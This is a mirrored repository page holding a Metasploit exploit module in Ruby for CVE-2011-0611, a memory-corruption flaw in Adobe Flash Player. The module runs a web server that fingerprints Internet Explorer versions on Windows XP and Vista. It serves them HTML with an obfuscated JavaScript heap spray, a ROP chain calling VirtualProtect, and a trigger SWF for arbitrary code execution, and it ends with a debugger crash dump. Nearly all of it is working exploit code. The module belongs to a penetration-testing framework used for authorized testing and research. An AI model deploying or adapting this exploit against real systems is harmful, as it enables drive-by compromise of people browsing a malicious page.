infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb

236 lines
8.0 KiB
Ruby
Raw Blame History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player that was discovered, and
has been exploited actively in the wild. By embedding a specially crafted .swf file,
Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
overwrite a pointer in memory, and results arbitrary code execution.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'sinn3r',
],
'References' =>
[
[ 'CVE', '2011-0611' ],
[ 'OSVDB', '71686' ],
[ 'BID', '47314' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
[ 'URL', 'http://secunia.com/blog/210' ],
],
'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'blockSize' => "0x10101",
'spraySize' => "0x802",
'paddSize' => "640",
},
],
[
'IE 7 on Windows XP SP3',
{
'blockSize' => "0xf90",
'spraySize' => "0x8efc",
'paddSize' => "600",
}
],
[
#This target requires .NET CLR 2.0.50727
'IE 8 on Windows XP SP3',
{
'blockSize' => "0xf90",
'spraySize' => "0x8efc",
'paddSize' => "502",
}
],
[
'IE 7 on Windows Vista',
{
'blockSize' => "0x10101",
'spraySize' => "0x802",
'paddSize' => "502",
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 11 2011",
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
mytarget = ''
js_net_dll = ''
rop_gadgets = [0x0c0c0c0c].pack('V*')
#Determine if exploit suits the target
if agent =~ /MSIE 6\.0/
mytarget = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
mytarget = targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/
mytarget = targets[3]
net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll"
js_net_dll = "<object classid=\"#{net_dll_name}\"#GenericControl\"></object>"
rop_gadgets =
[
0x63f05472, #POP EDI; POP ESI; RETN (mscorie.dll)
0x41414141, #EDI
0x77c15ed5, #XCHG EAX,ESP; RETN (msvcrt.dll)
0x63f04d74, #CALL mscorie!_imp_VirtualProtect
0x11111134, #Param: shellcode (Target address = 0x11111110+0x24)
0x900, #Param: size (2304)
0x40, #Param: newProtect
0x11111110, #Param: oldProtect
0x11111134, #RETN (Target address = 0x11111110+0x24)
].pack('V*')
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
mytarget = targets[4]
else
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end
if request.uri =~ /\.swf/
print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
return
elsif request.uri =~ /\.dll$/
print_status("Sending .NET dll to #{cli.peerhost}:#{cli.peerport}...")
ibase = (0x2000 | rand(0x8000)) << 16
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
send_response(cli, dll, { 'Content-Type'=>'application/x-msdownload', 'Connection'=>'close', 'Pragma'=>'no-cache' } )
return
end
blockSize = mytarget['blockSize']
spraySize = mytarget['spraySize']
paddSize = mytarget['paddSize']
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') , Rex::Arch.endian(target.arch))
swf_name = rand_text_alpha(rand(3))
js_func_name = rand_text_alpha(rand(6) +3)
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
js_var_shell_name = rand_text_alpha(rand(6) + 3)
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
js_var_index_name = rand_text_alpha(rand(6) + 3)
js_var_padding_offset = rand_text_alpha(rand(6) + 3)
js_var_rop_name = rand_text_alpha(rand(6) + 3)
js_var_roppadding_name = rand_text_alpha(rand(6) + 3)
trigger_file_name = "#{get_resource}/#{swf_name}.swf"
js_rop = Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
html = <<-EOS
<html>
<head>
<script>
function #{js_func_name}() {
var #{js_var_blocks_name} = new Array();
var #{js_var_rop_name} = unescape("#{js_rop}");
var #{js_var_shell_name} = unescape("#{shellcode}");
var #{js_var_nopsled_name} = unescape("#{nops}");
while (#{js_var_nopsled_name}.length < #{blockSize}) { #{js_var_nopsled_name} += unescape("#{nops}") };
var #{js_var_roppadding_name} = #{js_var_nopsled_name}.substring(0, #{paddSize});
var #{js_var_padding_offset} = #{js_var_roppadding_name}.length + #{js_var_rop_name}.length + #{js_var_shell_name}.length;
#{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length);
#{js_var_blocks_name}[0] = ["" + #{js_var_roppadding_name} + #{js_var_rop_name} + #{js_var_shell_name} + #{js_var_nopsled_name}].join("");
for (#{js_var_index_name}=1; #{js_var_index_name} < #{spraySize}; #{js_var_index_name}++) {
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length);
}
}
#{js_func_name}();
</script>
</head>
<body>
#{js_net_dll}
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{trigger_file_name}" />
<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</body>
</html>
EOS
html = html.gsub(/^\t\t/, "")
print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type' => "text/html"} )
end
def exploit
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
f = File.open(path, "rb")
@trigger = f.read(f.stat.size)
f.close
super
end
end
=begin
0:000> r
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash10o+0xd01f6:
100d01f6 ff5008 call dword ptr [eax+8] ds:0023:11111118=????????
0:000> dd ecx
01d650b0 11111110 00000000 00000000 00000000
01d650c0 00000000 00000000 00000000 00000000
01d650d0 00000000 00000000 00000000 00000000
01d650e0 00000000 00000000 00000000 00000000
01d650f0 00000000 00000000 00000000 00000000
01d65100 00000000 00000000 00000000 00000000
01d65110 00000000 00000000 00000000 00000000
01d65120 00000000 00000000 00000000 00000000
=end
Reference in New Issue View Git Blame Copy Permalink